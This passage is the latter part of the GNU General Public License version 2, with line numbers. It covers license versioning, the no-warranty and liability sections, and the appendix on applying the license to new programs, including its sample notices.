is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | 294 | Copyright (C) 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | , 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | --------------------------------------------------------------------------------